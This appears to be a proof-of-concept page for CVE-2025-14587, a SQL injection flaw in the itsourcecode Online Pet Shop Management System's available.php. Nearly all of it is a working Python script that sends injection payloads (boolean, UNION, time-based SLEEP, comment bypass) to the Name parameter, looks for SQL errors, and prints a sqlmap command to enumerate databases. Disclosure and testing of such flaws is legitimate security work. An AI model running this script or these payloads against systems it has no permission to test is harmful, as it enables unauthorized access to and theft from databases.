CVE-2025-14587 | itsourcecode在线宠物店管理系统SQL注入漏洞

# CVE-2025-14587 SQL Injection PoC # Target: itsourcecode Online Pet Shop Management System 1.0 # Endpoint: /pet1/available.php # Parameter: Name import requests import sys target_url = "http://target-host/pet1/available.php" # Basic SQL Injection test payloads payloads = [ "' OR '1'='1", "' OR '1'='1' --", "' UNION SELECT NULL--", "' UNION SELECT NULL,NULL--", "' AND SLEEP(5)--", "admin'--" ] def test_sql_injection(url, param_name="Name"): print(f"[*] Testing SQL Injection on {url}") print(f"[*] Parameter: {param_name}") for i, payload in enumerate(payloads, 1): print(f"\n[{i}] Testing payload: {payload}") data = {param_name: payload} try: response = requests.post(url, data=data, timeout=10) # Check for SQL error messages or time-based indicators if "sql" in response.text.lower() or "mysql" in response.text.lower(): print(f"[!] Potential SQL error detected!") print(f"[+] Status code: {response.status_code}") else: print(f"[*] No obvious SQL error detected") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("\n[*] Manual verification recommended using sqlmap:") print(f"sqlmap -u \"{url}\" --data=\"{param_name}=*\" --batch --dbs") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_sql_injection(target_url)